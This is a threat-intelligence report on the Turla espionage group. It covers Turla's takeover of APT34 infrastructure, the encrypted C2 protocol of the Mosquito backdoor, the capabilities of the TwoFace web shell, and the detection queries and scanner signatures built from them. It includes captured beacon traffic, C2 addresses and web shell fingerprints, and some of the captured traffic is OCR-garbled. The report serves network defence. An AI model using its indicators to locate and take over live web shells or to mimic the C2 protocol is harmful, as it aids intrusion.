• Recorded Future

CYBER THREAT ANALYSIS

Swallowing the Snake's Tail: Tracking Turla Infrastructure

By Insikt Group®





Recorded Future's Insikt Group® has developed new detection methods for Turla malware and infrastructure as part of an in-depth investigation into recent Turla activities. Data sources included the Recorded Future® Platform, ReversingLabs, VirusTotal, Shodan, BinaryEdge, and various OSINT tools. The target audience for this research includes security practitioners, network defenders, and threat intelligence professionals who are interested in Russian nation-state computer network operations activity.

Executive Summary

Turla, also known as <u>Snake</u>, <u>Waterbug</u>, and <u>Venomous Bear</u>, is a wellestablished, sophisticated, and strategically focused cyberespionage group that has for over a decade been linked to operations against research, diplomatic, and military organizations worldwide, with an ongoing focus against entities within North Atlantic Treaty Organization (NATO) and Commonwealth of Independent States (CIS) nations in particular.

While many nation-state threat actor groups are becoming more reliant on open source and commodity software for operations, Turla continues to develop its own unique, advanced malware and tools and adopts new methods of attack and obfuscation. It uses these TTPs alongside older techniques and generic, open source tools. For these reasons, Insikt Group assesses that Turla Group will remain an active, advanced threat for years to come that will continue to surprise with unique operational concepts.

However, the group's consistent patterns and use of stable and periodically updated versions of unique malware for lengthy campaigns may allow defenders to proactively track and identify Turla's infrastructure and activities. This research examines the history of Turla's operations and provides our methodology for identifying infrastructure currently being used by Turla, focusing on several Turla-associated malware types. Details on two of them — the composite Mosquito backdoor and the hijacked Iranian TwoFace ASPX web shell — are provided in this report.

Recorded Future has provided a detailed report to our clients with further research and detections for additional Turla-related malware families, which is available in the Recorded Future platform.

Key Judgments

- Turla Group can be tracked based on unique features of their malware and C2 communication. Additionally, Turla's use of open source tools when avoiding detection and confusing attribution attempts also allows researchers to quickly analyze and build detections, as the source code is readily available for analysis and testing.
- In June 2019, Turla Group was found to have infiltrated the computer network operations infrastructure of APT34, an Iranian threat group. This amounted to the effective takeover of the computer network operations of a nation-state group by state actors from another country — an unprecedented action. Insikt Group assesses that Turla Group's use of APT34 infrastructure was primarily opportunistic in nature and was not coordinated between Iranian and Russian organizations.
- Recorded Future assesses with high confidence that TwoFace is the Iranian APT34 ASPX shell Turla was scanning for to pivot to additional hosts, as documented in the NSA/NCSC report. We assess that any live TwoFace shells as of late January 2020 could also be potential operational assets of the Turla Group.
- In 2019, Turla began relying heavily on PowerShell scripts for malware installation. Previously, it had also heavily targeted Microsoft vulnerabilities as well as email servers. Turla also often uses compromised WordPress websites as the foundation of its C2 infrastructure.
- Among the malware that we researched, Turla mainly uses HTTP/S for their command and control (C2) communication.



Background

Turla has been attributed to operations targeting the Pentagon as early as 2008 and has continued targeting NATO nations to the present day. Primary targets of Turla include publishing and media companies, <u>universities/academia</u>, and government organizations, often specifically targeting scientific and energy research, remote and local diplomatic affairs, and military data. Turla actively targets European and <u>CIS countries</u>, historically focusing on ministries of foreign affairs or defense, as well as similar government organizations and affiliated research institutions.

Turla is known for its use of watering hole attacks (compromising websites to target visitors) and spearphishing campaigns to precisely attack specific entities of interest. Turla has also used inventive, out-of-the box techniques, including using satellites to exfiltrate data from remote areas in North Africa and the Middle East. The group is known for the use of both unaltered and customized versions of open source software such as Meterpreter and Mimikatz, as well as bespoke malware such as Gazer, IcedCoffee, Carbon, and Mosquito.

Turla operators have also commandeered third-party infrastructure or used false flags in order to further their purposes. In many cases, this group has used compromised websites (typically WordPress sites) as both an infection vector and as operational infrastructure for C2 communications.

In June 2019, Turla was identified by researchers at Symantec as having infiltrated the <u>computer network operations infrastructure</u> <u>of APT34</u>, an Iranian threat group, collecting and exfiltrating Iranian operational information, and simultaneously gaining access to active victims of the Iranians.

Turla's hijacking of Iranian APT34 operations in part consisted of scanning for and discovering their web shells using existing APT34 victim networks to scan for a specific web shell on IP addresses across at least 35 different countries. Once identified, Turla used these shells to gain an initial foothold into victims of interest and then deployed further tools.

TwoFace, <u>first observed in 2015</u>, is the primary APT34 web shell, and Recorded Future assesses with high confidence that TwoFace is the shell Turla was scanning for to pivot to additional hosts. We assess that any live TwoFace shells as of late January 2020 could also be potential operational assets of the Turla Group.

Turla also directly accessed C2 panels of the APT34 Poison Frog tool from their own infrastructure and used this access to task victims with downloading Turla tools.

Threat Analysis

To date, Turla Group's hijacking of Iranian computer network operations resources has been unique among known threat actors; this action amounted to the effective takeover of the computer network operations of a nation-state group by state actors from another country.

Although it is possible that the Iranian and Russian organizations were cooperating in some manner, the evidence available to Insikt Group does not support this theory. For example, while Turla had significant insight into APT34 tools and operations, they were required to scan for Iranian web shells in order to find where these tools were deployed. We assess that Turla's interposition into Iranian operations was likely an uncoordinated, and thus hostile, act.

While Insikt Group assesses that Turla Group's use of APT34 infrastructure was primarily opportunistic in nature, an added benefit for the operators was likely the deception of incident responders who would potentially identify the tools as Iranian in origin. Turla has reused malware from other threat actors prior to their use of Iranian tools, including the use of <u>Chinese-attributed</u> <u>Quarian malware</u> in 2012. In that instance, Kaspersky researchers assessed that Turla actors downloaded, then uninstalled, the Quarian malware in an attempt to divert and deceive incident responders post-discovery.

Outside of their bold Iranian venture, Turla has concurrently conducted other operational and development activities. In 2019, Turla started heavily using PowerShell scripts, likely in an effort to avoid discovery of malicious files on disk. Over the course of the year, they have <u>increased their use of PowerShell scripts</u>, using PowerSploit and <u>PowerShell Empire</u>, as well as developing their own Powershell backdoor, PowerStallion.

While Turla most often targets Microsoft Windows operating systems, they have also purposely exploited email servers. The LightNeuron backdoor is specifically designed to function on <u>Microsoft Exchange</u> <u>mail servers</u>, and the Outlook backdoor is designed to operate on <u>Exchange and The Bat!</u> (popular in Eastern Europe) email servers. Compromising mail servers provides Turla control of email traffic on a target network, including the ability to not only monitor email, but create, send, and even block email.

Turla relies on <u>compromised WordPress sites as C2s</u>. They also have regularly used <u>WordPress-focused URL names for payload delivery</u> <u>since 2014</u> and possibly earlier. This tendency enables the profiling of their C2s and payload URLs to discover new Turla infrastructure.

Turla operations have been associated with a variety of custom malware. Insikt Group performed deeper analysis on several of these malware types in an effort to create scanning rules to detect live Turla-associated infrastructure active from December 2019 to January 2020.

Turla Advanced Detection Analysis

The focus of our analysis was the development of identification methods for Turla, focusing on several Turla-associated malware types. Details of our analysis of both the composite Mosquito backdoor and the hijacked Iranian TwoFace web shell are provided in this report.

Mosquito Controller Detection

In January 2018, <u>ESET reported on a newer backdoor</u> named Mosquito that they observed Turla using during intrusion analysis. There were multiple components to the Mosquito delivery and installation, such as:

- Use of a trojanized Adobe installer
- Use of Metasploit shellcode to download a legitimate copy of the Adobe Flash installer and a copy of Meterpreter in order to enable the download and installation of the Mosquito installer
- Installer with encrypted payload
- Launcher which executes the primary backdoor, "Commander"

Mosquito is a Win32 remote access trojan (RAT). The malware includes three primary components: an installer, launcher, and the backdoor component sometimes called CommanderDLL. The Mosquito malware has been <u>dropped after the initial use of</u> <u>Metasploit</u> shellcode and installation of Meterpreter to gain control of the victim. It has the following capabilities:

- Download file
- Create process
- Delete file
- Upload file
- Execute shell commands
- Execute PowerShell commands
- Add C2 server
- Delete C2 server

Commander is the main component of the Mosquito backdoor. In this research, we focused our analysis primarily on the C2 communication of Commander. For details on the other aspects of the Mosquito package, a thorough analysis was conducted by <u>researchers at ESET</u>.

• Recorded Future

ESET's analysis of the communication from Commander to its C2 shows that communication to and from the controller is sent via HTTP or HTTPS. On the client side, data can be sent as a parameter in the GET request, as a cookie, or as the parameter and payload of a POST (as shown in the image below). On the controller side, responses and commands are sent as an HTTP payload.

POST /scripts/m/
query.php?id=ADFEWG%2BeSKqPPI6EnUHIKFns%2F%2F8%2BCQFK9WwxnvIY9EnfnmEcG7To%2Fw5EW%2FwJVEH5PutKzUh96nZ16WFSGq0M8y470
c0JzTbL83ktFMnsaXGkN0lR4WJV0zWnSL7CzWpkds6avlBxeLUND00eG9SL9xun32FE8BWI6Hj%2FeJj%2ButuS1EuNfQLupUyevIlEY7Enc8pppMJ
dQy%2F0dQ7L9LTbkn%2FTcM07cCa2noIRxzwkXwsh HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Host: FLeetwood.tk
Content-Length: 3726
Connection: Keep-Alive
Cache-Control: no-cache
$\label{eq:started} 8 wLb + 1FF600o0QYgfF7mXecwtxEz0Vtk0bt + brxYAS + xIrWchW8XylytEwZHyzjqBmKGKhhqFfG4tckRRGe6XZNeoFdJKaGyqXbehjXgnz0 + vNL26i + brxYAS + xIrWchW8XylytEwZHyzjqBmKGKhhqFfG4tckRRGe6XZNeoFdJKaGyqXbehjXgnz0 + xVL26i + brxYAS + xIrWchW8XylytEwZHyzjqBmKGKhhqFfG4tckRRGe6XZNeoFdJKaGyqXbehjXgnz0 + xVL26i + brxYAS + xVL26i + brxYA$
CcXxbzJirt2AgHBj1ccjNibkAz0zPnqyTwqR4spdlLhWTj0370p3fGnjqZHsr1BtdR0sbyVd4Xt7ecuWwXWgnl9DZcPQ12h7RM8tPfJVzcdJetyW6B
<pre>qeoEAR09V6uC9z0AYzr96PUW9Jibo4tnUghXV0jZYI793IojbkbzF7QzPvNpcpx6bA2KemBQKdsF2FErNfs7tfp2umzJmGT5635yxF0bEMXGvDVer1</pre>
Passan from the Massuite "Commander" backdoor with one inted data cont in the DOCT parameter and pauload

Beacon from the Mosquito "Commander" backdoor with encrypted data sent in the POST parameter and payload.

As shown above, the data sent to the controller is not in clear text. It is first protected with an encryption routine that uses a <u>Blum Blum</u> <u>Shub pseudo-random number generator</u> to create a stream of bytes that are used to XOR encode the cleartext data. The resulting data is then Base64 encoded.

To encrypt or decrypt, a key and modulus are required by the encryption process. As ESET reported, and as Insikt Group observed during its analysis, the modulus of "0x7DFDC101" is hardcoded. The key is not hardcoded and is randomly generated at each exchange between the client and controller so the key is different for each transmission. This randomized key is sent as a part of the C2 communication and can be easily extracted. Insikt Group analysts have reversed this pseudo-random number generator implementation and have created a decoder script in Python that can be found in our <u>GitHub repository</u>.



Mirroring analysis from ESET, Insikt Group found there is header information prepended to the data being sent. The header, when decrypted, consists of the following fields:

Fields	Length	Description
Starting Key	DWORD	Starting key used to decrypt the data
ID	BYTE	Value that indicates different methods used for C2 Communication. Available IDs include 0x85 (HTTP Get with possible Custom Headers), 0x87 (HTTP POST Transmission), 0x88 (HTTP GET with Cookie), and 0x89 (HTTP GET)
String Length	BYTE	Length of string field
String	Variable 1-4 BYTES	Two hex BYTES that represent a ASCII Decimal Number representation. 0x37,0x32 (HEX) == 72 (Decimal) == H (ASCI)I
MAC Address	QWORD	MAC address of host
NULL	DWORD	No value
Data Length	DWORD	Length of data segment within URL
Data (URL)	Variable	Contains a 28 BYTE header and then the data; data is also Blum Blum Shub encrypted using the hardcoded key, 0x3EB13; we have observed that when data is sent as a POST that this field contains junk values
Data (POST)	Variable	Data sent as a POST does not contain a header like the URL method; as with the URL method, data is Blum Blum Shub encrypted using the hardcoded key, 0x3EB13

Decrypted Mosquito Commander header information.

Further analysis of the Commander backdoor shows that the response expected from the controller is an HTTP/S packet in which the payload is Base64 encoded and then encrypted in the same way as the C2 beacon packet. If the response is successfully decoded, the first byte is checked, and if it is equal to 28, then the remaining bytes of data are parsed. If the first byte is equal to 0x27, then nothing else is done with the C2 response.



Mosquito Commander C2 response-handling code.

Commander Passive Scans

Using open source tools like <u>urlscan.io</u>, as well as proprietary scanning methodologies developed by Insikt Group, the passive scans look for evidence of compromised hosts beaconing back to the controller. The queries search for the static aspects of the GET or POST resource string "/scripts/m/query.php?id=" as demonstrated in the link below:

 https://urlscan.io/search/#%22%2Fscripts%2Fm%2Fquery. php%22



Examples of recent results from this query with <u>urlscan.io</u> include:

- 204.193.62.62/scripts/m/query. php?id=eQV0AKBGOorB%2FsB6ZkIU0e%2BKQO...
- 204.193.62.62/scripts/m/query.php?id=eQV0AKBGOorB/ sB6ZkIU0e+KQOWiwulq...
- 77.232.99.77/scripts/m/query. php?id=eQV0AKBGOorB%2FsB6ZkIU0e%2BKQ...

The URLs above match the typical Mosquito URL pattern perfectly. Using our Python decoder script mentioned above, we can attempt to decode the encrypted portion of the URL, "eQV0AKBGOorB%2FsB6ZkIU0e%2BKQO…" The results of our script are shown below.

```
Decoded Header for:"eQV0AKBG0orB%2FsB6ZkIU0e%2BKQ0Wiwulq%2FapESg24tpkWjLdX7P6okHj1WgEhy%2F8qJ9xgX8XRVB
ID:0x87
Length:0x2
String:0x37 0x32
MAC Addesss:0x0 0xc 0x29 0x92 0x92 0xc8
Decoded Data: lÓðwî¿[]]s[]3[]xA[]<sup>1</sup>PNsd]<sup>2</sup>È$¥Ì½ö©<sup>2-</sup>dÓ[]]¦hßD0©Ì7çÅ«lºüÀöLþ] í_x]]]àILI'e]ò&î[JØqéÛÎØ
```

Decrypted urlscan.io Commander URL string.

After running the decode script, we can determine that the beginning of the header is decoded correctly since we are able to extract the ID, string values, and MAC address of the compromised device. For both IPs, the data section cannot be decoded, but this is expected, considering that the ID is 0x87, which indicates that this was a HTTP POST and the actual data we would want to decode is in the HTTP payload and not in the parameter. Based on this analysis, we assess with medium confidence that these IPs are Mosquito Controllers.

TwoFace Web Shell Detection

The TwoFace web shell was first discovered and analyzed by the Palo Alto Unit42 research team and later attributed to the group they associate as OilRig, which is commonly associated with APT34. As stated earlier, Turla scanned for the presence of the TwoFace ASPX web shells, and then attempted to access and download Snake or other malware. We believe that many of these web shells may now be operational assets of Turla and no longer in the control of APT34.

The TwoFace web shell is actually two shells: an initial loader shell, and a second, fully functional web shell that gives the operator much more control of the website. Both components were written in C# and designed to function on web servers supporting ASP.NET, using Active Server Page Extended (ASPX) files to operate. TwoFace is a remote access trojan with the following capabilities:

- Execute program
- Execute shell command
- Upload file
- Modify file
- Delete file
- Download file
- Timestomping (modification of file timestamps)

Accessing the web shell is done through a control panel similar to the image below. The threat actors would then have to authenticate in order to perform additional actions. However, even without authentication, the presence of this specific .aspx file is determination enough of the presence of the TwoFace web shell.

§ 127.0.0.1	/shell/temp.aspx × +		
$\ \ \leftarrow \ \ \rightarrow \ \ G$		aspx	
🔢 Apps	CyberChef		
Address	Current :	C:\inetpub\wwwroot\shell\ Use	
Login	Do it :		Do it
	Process :	cmd.exe	
Command	Command :		Execute
	File name :	Choose File No file chosen	
Upload	Save as :		Is virtual path
	New File name :		Upload
Download	File name :		Download
	File name :		Get
Change Creation Time	From This File :		Set
	New Time :		Set

TwoFace web shell panel.

TwoFace Web Shell Discovery Details

Insikt Group created a proprietary tool to scan URLs for the TwoFace web shell. The configuration used to scan for TwoFace web shell using the tool is in the table below.

Rule Name	Turla_TwoFace_Webshell_Detection		
HTTP Method	GET		
Collection Filter	.aspx		
HTTP Headers	N/A		
HTTP Payload	N/A		
	"function use() { var n = document; var d = n.getElementById("d").innerHTML; d		
Expected	<pre>= d.substring(0, d.lastIndexOf('\\') + 1); n.getElementsByName("cmd")[0].value +=</pre>		
Controller			
Response (RegEx)	d; n.getElementsByName("sav")[0].value +=		
	d; n.getElementsByName("don")[0].value		
	+= d; }"		

Scanner configuration for TwoFace web shell.

This configuration will first gather all URLs from our source list that have a "*.aspx" filename in the path. The Recorded Future scanner will connect to each URL. By connecting, we pull the content of the .aspx file as shown in the image below.

GET /shall/temp aspx HTTP/1 1
der / Sherry comprospy (frift/111
Host: 192.168.204.239
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: data=pro#=## #cmd#=## #sav#=## #vir#=## #nen#=## #don#=## #tfil#=## #ttin#=## #ttin#=#
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: data=pro#=## #cmd#=## #sav#=## #vir#=## #nen#=## #tfil#=## #tfil#=## #ttim#=#; expires=Thu, 09-Jan-2020 16:21:42 GMT; path=/
X-Powered-By: ASP.NET
Date: Wed, 08 Jan 2020 16:21:42 GMT
Content-Length: 3210
<pre>chtml xmlns="http://www.w3.org/1999/xhtml"></pre>
<pre><head></head></pre>
<style></style>

```
Automated retrieval of .aspx files.
```

We then search the response for known TwoFace web shell strings to determine whether the URL leads to a TwoFace web shell. Insikt Group analysts used the JavaScript snippet in the image below as an indicator of the TwoFace web shell.

```
<script>
function use() { var n = document; var d = n.getElementById("d").innerHTML; d = d.substring(0,
d.lastIndexOf('\\') + 1); n.getElementsByName("cmd")[0].value += d; n.getElementsByName("sav")[0].value += d;
n.getElementsByName("don")[0].value += d; }
</script>
```

```
Automated retrieval of .aspx files.
```

Outlook

Turla Group is a sophisticated threat actor, and despite many nation-state groups becoming more reliant on open source and commodity software for operations, Turla has continued to develop its own unique, advanced malware. The Reductor RAT, a new strain of malware for Turla <u>first observed in late 2019</u>, is an example of such an innovation. Insikt Group expects to see continued use of Reductor RAT in 2020.

While still using effective older techniques like virtual file systems with Gazer and the Outlook backdoor, Turla has consistently adopted newer methods like Reductor's alteration of browser pseudo-number generation, and continually developed new tools, such as their recent .NET and PowerShell backdoors.

As mentioned earlier, this does not mean Turla does not use any generic tools; Turla has used open source tools regularly, including Mimikatz and Metasploit as delivery mechanisms for the Mosquito backdoor.

Turla Group is assessed by Insikt Group to be a well-funded, advanced nation-state group that has been active and improving its tools and practices for many years. Although we expect its targeting and practices to shift over time, Insikt Group assesses that Turla Group will remain an active, advanced threat for years to come that will continue to surprise with unique operational concepts. However, the group's consistent patterns and use of stable and periodically updated versions of unique malware for lengthy campaigns may allow proactive tracking and identification of its infrastructure and activities in the future.

About Recorded Future

Recorded Future delivers security intelligence to amplify the effectiveness of security and IT teams by informing decisions in real time with contextual, actionable intelligence. By analyzing data from open, dark, and proprietary sources, Recorded Future offers a singular, integration-ready view of threat information, risks to digital brand, vulnerabilities, third-party risk, geopolitical risk, and more.